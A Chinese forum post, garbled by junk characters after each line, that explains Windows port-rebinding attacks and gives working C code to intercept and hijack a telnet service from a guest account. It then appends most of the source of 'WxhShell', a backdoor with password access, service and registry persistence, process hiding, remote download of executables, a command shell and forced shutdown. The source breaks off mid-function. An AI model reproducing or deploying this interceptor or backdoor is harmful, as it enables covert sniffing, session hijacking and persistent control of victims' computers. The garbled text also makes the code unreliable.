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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8dT'xuch  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {7Cx#Ewd  
@kngI7=E  
  saddr.sin_family = AF_INET; `0BdMKjA  
a ib}`l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X<Za9  
hQh9ok8S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i%(yk#=V  
g"t^r3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4".J/I5u  
_^uc 0=  
  这意味着什么?意味着可以进行如下的攻击: 9rj('F & 1  
OKY+M^PP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5S/>l_od$2  
f==*"?6\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R$b,h  
$"fo^?d/s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @vH2Vydu  
5ouQQ)vA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t/:w1rw  
P!\hnm)%4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9EgP9up{6!  
{Qtq7q.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :k!j"@r  
i^%-aBZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 < tQc_  
l=Wd,$\  
  #include \ZnN D1A  
  #include IlHY%8F{  
  #include kJ8vKcc  
  #include    yuNfhK/#r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0M!0JJy#*  
  int main() OAok  
  { .:0M+Jr"  
  WORD wVersionRequested; F/<qE!(  
  DWORD ret; GAU!_M5N  
  WSADATA wsaData; yKDZ+3xK]  
  BOOL val; sMi{"`37  
  SOCKADDR_IN saddr; $v&C@l \  
  SOCKADDR_IN scaddr; |QYZRz  
  int err; oa0X5}D  
  SOCKET s; J/S{FxNe]  
  SOCKET sc; ^@_).:oX7  
  int caddsize; qyv"Wb6+  
  HANDLE mt; W(k:Pl#  
  DWORD tid;   oeN zHp_  
  wVersionRequested = MAKEWORD( 2, 2 ); aW`dFitpM  
  err = WSAStartup( wVersionRequested, &wsaData ); a>b8- j=J  
  if ( err != 0 ) { [-VGArD[k,  
  printf("error!WSAStartup failed!\n"); "|4jP za  
  return -1; gB+ G'I  
  } UvD-C?u'  
  saddr.sin_family = AF_INET; lwsbm D  
   =x4a~=HX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9-- dRTG  
=h\E<dw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); } J;~P 9Y  
  saddr.sin_port = htons(23); I<`V_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ygx,t|?7  
  { {bTeAfbf]  
  printf("error!socket failed!\n"); LVmY=d>  
  return -1; N*1  
  } *tG11gR,&  
  val = TRUE; {&`VGXG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n!?r }n8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6PJ'lA;*b  
  { ('HxHOh2  
  printf("error!setsockopt failed!\n"); t&pGQ  
  return -1; hZ o5p&b  
  } \1{_lynD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k#jm7 +  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Cgo XZX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L<E/,IdE  
poY8 )2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `$Kes;[X  
  { _FFv#R*4  
  ret=GetLastError(); -$ali[  
  printf("error!bind failed!\n"); ! OfO:L7-  
  return -1; paYz[Xq  
  } ^?sSx!:bZ  
  listen(s,2); vrO%XvXW  
  while(1) qzlER  
  { y^YVo^3  
  caddsize = sizeof(scaddr); a|z1K  
  //接受连接请求 Bn_g-WrT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9@etg4#]  
  if(sc!=INVALID_SOCKET) D8 wG!X  
  { z"3H{ A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .)0gz!Z  
  if(mt==NULL) e#m1X6$.e  
  { `OLB';D  
  printf("Thread Creat Failed!\n"); /xf.\Z7<  
  break; U TS{H  
  } 85 Dm8~  
  } D{3fhPNU<b  
  CloseHandle(mt); P|v ?  
  } lR[z<2w\  
  closesocket(s); 6,zDBax  
  WSACleanup(); ]wR6bEm7  
  return 0; dL(4mR8  
  }   D0KELA cY  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]eD[4Y\#t  
  { }M="oN~w  
  SOCKET ss = (SOCKET)lpParam; YZ{;%&rB  
  SOCKET sc; yW:AVqE)t  
  unsigned char buf[4096]; )Kr(Y.w  
  SOCKADDR_IN saddr; $WJy?_c  
  long num; iI}nW  
  DWORD val; 0O^U{#*$I  
  DWORD ret; xT/9kM&}L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0*{@E%9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H<{*ub4'L*  
  saddr.sin_family = AF_INET; @@; 1%z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S~} +ypV  
  saddr.sin_port = htons(23); xNx`J@xt$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^[*AK_o_DQ  
  { #e*$2+`[A  
  printf("error!socket failed!\n"); 8W{ g  
  return -1; gi '^qi2  
  } wb@]>MJ}[s  
  val = 100; ;wp W2%&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0x6@{0  
  { }:"R-s  
  ret = GetLastError(); *eMLbU7  
  return -1; /T{mS7EpYc  
  } sbpu qOL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,qYf#fU#7  
  { ={OCa1  
  ret = GetLastError(); KM EXT$p  
  return -1; $/os{tzjd  
  } &9k"9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i /C'0  
  { })q]g Mj  
  printf("error!socket connect failed!\n"); OY$7`8M[  
  closesocket(sc); S [ i$e  
  closesocket(ss); \:C%> .VG  
  return -1; rC~_:uXtE  
  } ;,R[]B01u  
  while(1) :E}6S  
  { t<8z08  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *pY/5? g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 La@\q[U{@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eO~eu]r  
  num = recv(ss,buf,4096,0); D_zcOq9  
  if(num>0) ;Kt'Sit  
  send(sc,buf,num,0); xMLrLXy  
  else if(num==0) bW} b<(y  
  break; ya;@<b  
  num = recv(sc,buf,4096,0); `AB~YX%(  
  if(num>0) '! #On/  
  send(ss,buf,num,0); L,tZh0  
  else if(num==0) ]U#JsMS  
  break; 6_x}.bkIx=  
  } 3{I=.mUUm  
  closesocket(ss); wrhBH;3  
  closesocket(sc); &`-_)~5]  
  return 0 ; e?|d9;BO  
  } ~>lOl/n5  
Q=dw 6  
7cy+Nz  
========================================================== Fa6H(L3  
LNWqgIq  
下边附上一个代码,,WXhSHELL D<lQoO+  
Cln^1N0  
========================================================== <aD'$(N5  
jt0H5-x  
#include "stdafx.h" pW`ntE#L  
W` WLW8Qsw  
#include <stdio.h> &E} I  
#include <string.h> v/QEu^C  
#include <windows.h> n U+pnkMj  
#include <winsock2.h> &h98.A*&  
#include <winsvc.h> MHC.k=  
#include <urlmon.h> |k/`WC6As.  
U]+b` m  
#pragma comment (lib, "Ws2_32.lib") GG@iKL V  
#pragma comment (lib, "urlmon.lib") sDW"j\  
{Q}!NkF 1  
#define MAX_USER   100 // 最大客户端连接数 "FD<^  
#define BUF_SOCK   200 // sock buffer _Ac/ir[,:  
#define KEY_BUFF   255 // 输入 buffer WK/b=p|#o  
7*R{u*/e  
#define REBOOT     0   // 重启 DKe6?PG  
#define SHUTDOWN   1   // 关机 &\CJg'D:m  
TsoCW]h  
#define DEF_PORT   5000 // 监听端口 [i2A{(x  
V,99N'o~x  
#define REG_LEN     16   // 注册表键长度 ;P 0,60  
#define SVC_LEN     80   // NT服务名长度 ]b5%?^Z#  
m~A[V,os  
// 从dll定义API R (+h)#![  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =vB]*?;9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tg4LE?nv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fU\k?'x_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); we6+2  
OqAh4qa,$  
// wxhshell配置信息 44<9zHK  
struct WSCFG { :mCw.Jz<h  
  int ws_port;         // 监听端口 LZ=wz.'u  
  char ws_passstr[REG_LEN]; // 口令 G.A=hGw  
  int ws_autoins;       // 安装标记, 1=yes 0=no xg*\j)_}  
  char ws_regname[REG_LEN]; // 注册表键名 ~ z-?rW  
  char ws_svcname[REG_LEN]; // 服务名 `8$:F4%P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r&H=i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x9FLr}e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E7d~#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AQJ|^'%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )3D+gu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U]`'GM/x  
"u3fs2  
}; WcV\kemf  
wsdB; 6%$  
// default Wxhshell configuration '7RR2f>V  
struct WSCFG wscfg={DEF_PORT, -+j9X;h:  
    "xuhuanlingzhe", KNO*)\   
    1, op.PS{_t  
    "Wxhshell", s K""  
    "Wxhshell", 'PmHBQvt&  
            "WxhShell Service", i{1)=_$Vt`  
    "Wrsky Windows CmdShell Service", 8.q13t !D  
    "Please Input Your Password: ", qY*%p  
  1, 8M".o n  
  "http://www.wrsky.com/wxhshell.exe", >uP{9kDm  
  "Wxhshell.exe" &CxyP_  
    }; &"~,V6,q  
)eTnR:=  
// 消息定义模块 )sY$\^'WY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZYl-p]\*y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^6N3 nkyZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vJ#rW8y  
char *msg_ws_ext="\n\rExit."; uJ) \P  
char *msg_ws_end="\n\rQuit."; ^>vO5Ho.  
char *msg_ws_boot="\n\rReboot..."; h^[pp c{Z  
char *msg_ws_poff="\n\rShutdown..."; <.?^LT  
char *msg_ws_down="\n\rSave to "; z Et6  
:3E8`q~c1  
char *msg_ws_err="\n\rErr!"; 3Aqe;Wf9%+  
char *msg_ws_ok="\n\rOK!"; >ji}j~cH  
6bA~mC^&  
char ExeFile[MAX_PATH]; $z`cMQ r  
int nUser = 0; eJVOVPg<,  
HANDLE handles[MAX_USER]; Z7KB?1{G  
int OsIsNt; b& _i/n(  
~PH1|h6  
SERVICE_STATUS       serviceStatus; E:dT_x<Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #Kb)>gzT  
$fj"*   
// 函数声明 6f5sIg  
int Install(void); '%eaK_+7  
int Uninstall(void); ^}Dv$\;6  
int DownloadFile(char *sURL, SOCKET wsh); |+$j( YuH  
int Boot(int flag); h!t2H6eyF  
void HideProc(void); p[k9C$@e}  
int GetOsVer(void); +"N<-  
int Wxhshell(SOCKET wsl); ~YT>:Np  
void TalkWithClient(void *cs); (`uC"MLk  
int CmdShell(SOCKET sock); o<Rxt *B  
int StartFromService(void); ,Rr&.  
int StartWxhshell(LPSTR lpCmdLine); -V<=`e  
=vqE=:X6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &s6(3k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :+Z>nHe  
8' g*}[  
// 数据结构和表定义 46.q a nh  
SERVICE_TABLE_ENTRY DispatchTable[] = I;|5C=!  
{ [u9S+:7"  
{wscfg.ws_svcname, NTServiceMain}, B#Oc8`1Y  
{NULL, NULL} d@q t%r3;  
}; ui#1+p3G  
5>z:[OdY*  
// 自我安装 ^JF_;~C  
int Install(void) fi-&[llg  
{ 6&xW9' 6b:  
  char svExeFile[MAX_PATH]; XM5;AcD  
  HKEY key; H?/cG_^y0  
  strcpy(svExeFile,ExeFile); 7]HIE]#  
Ph7(JV{  
// 如果是win9x系统,修改注册表设为自启动 U%B]N@  
if(!OsIsNt) { C}DG'z9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RGPU~L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e&a[k  
  RegCloseKey(key); >aanLLO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Spr:K,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); exrt|A] _[  
  RegCloseKey(key); )1tnZ=&  
  return 0; 3K'o&>}L  
    } me}Gb a  
  } C{I8Pio{b  
} ,*}g r  
else { ; HLMU36q  
<J_,9&\J  
// 如果是NT以上系统,安装为系统服务 77=y!SDP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C6=;(=?C  
if (schSCManager!=0) 'm p{O  
{ .5Z@5g`  
  SC_HANDLE schService = CreateService 3vGaT4TDx  
  ( U*+!w@ .  
  schSCManager, |@bNd7=2d  
  wscfg.ws_svcname, Z@aL"@2]a  
  wscfg.ws_svcdisp, RxDxLU2kt  
  SERVICE_ALL_ACCESS, yfw>y=/p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RT+30Q?  
  SERVICE_AUTO_START, f6_|dvY3  
  SERVICE_ERROR_NORMAL, lt(-,md  
  svExeFile, kk\zZC <  
  NULL, 9Nbg@5(  
  NULL, O t4+VbB6  
  NULL, R;-FZ@u/  
  NULL, IM&7h! l"|  
  NULL '8pPGh9D  
  ); <n2{+eO  
  if (schService!=0) I9j+x ])  
  { fM[fS?W  
  CloseServiceHandle(schService); q!h*3mNm  
  CloseServiceHandle(schSCManager); /dvnQW4}8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'hHX"\|RA  
  strcat(svExeFile,wscfg.ws_svcname); Vi -!E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >zx50e)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u.K'"-xt4K  
  RegCloseKey(key); 'FA)LuAok  
  return 0; TboHP/  
    } VEYKrZA  
  } DBh/V#* D  
  CloseServiceHandle(schSCManager); &T/9y W[L  
} 6Oqnb+  
} K}*p(1$u  
k-PRV8WO  
return 1; PNxO \Rc  
} %<*pM@  
E$yf2Q~k  
// 自我卸载 k49n9EX  
int Uninstall(void) xA1pDrfC/  
{ q}24U3ow  
  HKEY key; ]=XL9MI  
WMRgf~TY=2  
if(!OsIsNt) { .$}zw|,q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?j$8Uy$$  
  RegDeleteValue(key,wscfg.ws_regname); SE-, 1p  
  RegCloseKey(key); XK9*,WA9r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `0vy+T5  
  RegDeleteValue(key,wscfg.ws_regname); ,7$uh):  
  RegCloseKey(key); |q b92|?  
  return 0; ^>}[[:(6/  
  } .?)oiPW#  
} JRs[%w`kD  
} P*=3$-`  
else { _I"<?sh 3  
u^.k"46hn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I8wVvs;k  
if (schSCManager!=0) Q2WrB+/  
{ @9P9U`ZP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -r0\  
  if (schService!=0) 6#63D>OWp  
  { @MH]s [{o\  
  if(DeleteService(schService)!=0) { ?PtRb:RHt  
  CloseServiceHandle(schService); |Dpfh  
  CloseServiceHandle(schSCManager); Q"_T040B  
  return 0; KvOI)"0(  
  } :rc[j@|pH  
  CloseServiceHandle(schService); P[K T  
  } \5c -L_  
  CloseServiceHandle(schSCManager); zC;lfy{f=  
} :u+#:8u  
} I`>%2mP[C  
Gl:T  
return 1; AQU: 0  
} SytDo (_=W  
|W];v@b\y  
// 从指定url下载文件 md LJ,w?{  
int DownloadFile(char *sURL, SOCKET wsh) OvG|=  
{ \`# 0,pLr  
  HRESULT hr; ]a~LA7VHO  
char seps[]= "/"; -{mq\GvGn  
char *token; HaUo+,=  
char *file; >&z+ih  
char myURL[MAX_PATH]; J, >PLQAa  
char myFILE[MAX_PATH]; rmJ847%y`  
a$& 6a   
strcpy(myURL,sURL); ?MB nnyo6  
  token=strtok(myURL,seps); L#b Q`t  
  while(token!=NULL) fbkjK`_q  
  { j"8N)la  
    file=token; ogbdt1  
  token=strtok(NULL,seps); 1OS3Gv8jc~  
  } =LA@E&,j  
W}3vY]  
GetCurrentDirectory(MAX_PATH,myFILE); YNk|UwJi  
strcat(myFILE, "\\"); Jx?>1q=M  
strcat(myFILE, file); 5(Oc"0''H  
  send(wsh,myFILE,strlen(myFILE),0); l]&)an  
send(wsh,"...",3,0); z|H>jit+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NWj@iyi<  
  if(hr==S_OK) O,#[m:Ejb  
return 0; 4N: ;Mo&B  
else S45_-aE  
return 1; PCjY,O  
*h9vMks o  
} \ } f*   
T667&@  
// 系统电源模块 B[50{;X  
int Boot(int flag) (0f^Hh wF  
{ m"]ys #  
  HANDLE hToken; ObzlZP r@  
  TOKEN_PRIVILEGES tkp; ~V)E:(  
N3) v,S-  
  if(OsIsNt) { k6S<46}h|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "dTXT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fO nvC*  
    tkp.PrivilegeCount = 1; Ymom 0g+ f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3s2M$3r)6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W^f#xrq>  
if(flag==REBOOT) { ]9Hy "#Fz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y[4B{  
  return 0; 5{Wl(jwb  
} *_wBV M=2  
else { +_Z/VQv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H;1}Nvvd  
  return 0; I "4B1g  
} g=Di2j{A  
  } flqTx)xE  
  else { 5>Q)8` @E  
if(flag==REBOOT) { @@jdF-Utj;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L8ke*O$  
  return 0; @AOiZOH  
} T!bu}KO  
else { k9n93I|Cm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hLRQ)  
  return 0; Z]<_a)>  
} ,H*3_c&Q  
} {QID@  
CggEAi~  
return 1; [@6iStRg7  
} /eQn$ZRP,  
4KCxhJq  
// win9x进程隐藏模块 Npqbxb  
void HideProc(void) tANG ]  
{ / <p HDY  
0N.*c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jTnu! H2o  
  if ( hKernel != NULL ) $$a"A(Y  
  { tF|bxXs Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h.*|4;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (agdgy:#  
    FreeLibrary(hKernel); Xc!w y9m  
  } 7 <xxOY>y  
D_Y;N3E/rS  
return; D6w0Y:A{.  
} 7nmo p7  
z( wXs&z;  
// 获取操作系统版本 {/ta1&xyG  
int GetOsVer(void) Z>l>@wNm  
{ L6^h3*JyD  
  OSVERSIONINFO winfo; s6B@:9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]G:xTv8  
  GetVersionEx(&winfo); m| Z)h{&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (]:G"W8f  
  return 1; H< j+-u4b  
  else t(Uoi~#[  
  return 0; #XsqTK_nk  
} 9L};vkYk#  
|NI0zd  
// 客户端句柄模块 ?@_dx=su  
int Wxhshell(SOCKET wsl) rfjQx]3pB  
{ O%r<I*T^r  
  SOCKET wsh; Ot?rsr  
  struct sockaddr_in client; fOVRtSls  
  DWORD myID; z?PF9QL1  
B !XT:.+  
  while(nUser<MAX_USER) }49?Z3  
{ uyj5}F+O  
  int nSize=sizeof(client); cQ`,:t#[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?U |lZ~o  
  if(wsh==INVALID_SOCKET) return 1; +~-|( y  
DcOLK\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hXCDlCO  
if(handles[nUser]==0) .NKN2  
  closesocket(wsh); 4:.M*Dz  
else /SiQw7yp%  
  nUser++; ^N]*Zf~N?  
  } oW6.c]Vo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WCH>9Z>cj  
|s:!LU&OL\  
  return 0;  Dg@6o  
} LE;c+(CAU  
qVfOf\x.e  
// 关闭 socket *$QUE0  
void CloseIt(SOCKET wsh) 5J,vH  
{ \m<*3eS  
closesocket(wsh); IY'S<)vOY  
nUser--; rZLMY M  
ExitThread(0); +mJAIjH  
} >_@J&vC  
FW2} 9#R  
// 客户端请求句柄 >a<;)K^1  
void TalkWithClient(void *cs) \?j(U8mB>  
{ q bo`E!K  
v[m>;Ubg&  
  SOCKET wsh=(SOCKET)cs; zIu1oF4[  
  char pwd[SVC_LEN]; m`/OO;/;  
  char cmd[KEY_BUFF]; COap*  
char chr[1]; ||hd(_W8  
int i,j; \|Mz'*  
mwt3EV5  
  while (nUser < MAX_USER) { K$4Ky&89  
=_5-z|<  
if(wscfg.ws_passstr) { Af;$}P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ="V6z$N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LVSJK.B  
  //ZeroMemory(pwd,KEY_BUFF); mz47lv1?  
      i=0; Hxjh P(  
  while(i<SVC_LEN) { +U[A.^t  
r;-\z(h  
  // 设置超时 @ Fu|et  
  fd_set FdRead; #(%6urd  
  struct timeval TimeOut; QgP UP[  
  FD_ZERO(&FdRead); Lr`yl$6  
  FD_SET(wsh,&FdRead); (uSfr]89'  
  TimeOut.tv_sec=8; S;Vj5  
  TimeOut.tv_usec=0; [ACa<U/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); um/iK}O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8"+Kz  
L!\I>a5C0G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =7a9~&|  
  pwd=chr[0]; $(BW |Pc  
  if(chr[0]==0xd || chr[0]==0xa) { L~\Ir  
  pwd=0; '2eggX%  
  break; ./u3z|q1  
  } % _N-:.S  
  i++; |1#*`2j\=9  
    } Z\n nVM=  
%5'6^bT  
  // 如果是非法用户,关闭 socket 6]M(ElV1H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X4gs{kx}|  
} +5voAx!  
Bx)4BPaN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); opd^|xx0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?e0ljx;  
F&^u1RYz  
while(1) { vLq_l4l  
(<|,LagTuc  
  ZeroMemory(cmd,KEY_BUFF); 3:s!0ty"  
G22u+ua  
      // 自动支持客户端 telnet标准   'vBuQinn  
  j=0; !Eu}ro.}  
  while(j<KEY_BUFF) { D KR2b`J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dj 4:r!5_  
  cmd[j]=chr[0]; H+` Zp  
  if(chr[0]==0xa || chr[0]==0xd) { V!u W\i/  
  cmd[j]=0; W;Ct[Y 8m  
  break; $/K<hT_  
  } m;'ebkq  
  j++; ?|kwYA$4o  
    } }get e'I  
vkp_v1F%+  
  // 下载文件 <m'W{n%Pp  
  if(strstr(cmd,"http://")) {  Vmt$]/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EN^5 Hppb  
  if(DownloadFile(cmd,wsh)) JD9)Qelw^$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%P<F>6 J  
  else {{qu:(_g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p C^d-Ii  
  } yhc}*BMZ  
  else { a[I :^S  
mb,\wZ  
    switch(cmd[0]) { vhvFBx0  
  L xP%o  
  // 帮助 Y'*oW+K  
  case '?': { &.F ]-1RN[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f}=>c|Do  
    break; H}?"2jF  
  } sFt"2TVr3  
  // 安装 l|v`B6(  
  case 'i': { S"H djEF7\  
    if(Install()) I'}&s|6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JV ydTvc  
    else Q`kV| pjg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IK1'" S|  
    break; nvbzCtC  
    } jl9hFubwW  
  // 卸载 TXdo,DPv7  
  case 'r': { {.eo?dQ  
    if(Uninstall()) *O_>3Hgl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Gy=1W`09  
    else >e^bq/'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 dgwsl~  
    break; =U'!<w<-  
    } 9k /L m  
  // 显示 wxhshell 所在路径 AO, o|,#4F  
  case 'p': { S#kYPe  
    char svExeFile[MAX_PATH]; s@zO`uBc  
    strcpy(svExeFile,"\n\r"); (1 (~r"4I  
      strcat(svExeFile,ExeFile); 7>"dc+Fg  
        send(wsh,svExeFile,strlen(svExeFile),0); /g$G G9  
    break; L>LIN 1A  
    } U$|q]N  
  // 重启 e.\dqt~%y  
  case 'b': { <p/zm}?')  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DG?g~{Y~b  
    if(Boot(REBOOT)) .+A)^A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CFC15/yU  
    else { X!_&%^L'  
    closesocket(wsh); e>6|# d  
    ExitThread(0); DL`8qJ'mJs  
    } $GP66Ev  
    break; 60;_^v  
    } eSQkW  
  // 关机 d~ +(g!  
  case 'd': { _B>'07D0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^"<x4e9+j  
    if(Boot(SHUTDOWN)) Qk? WX (`B  
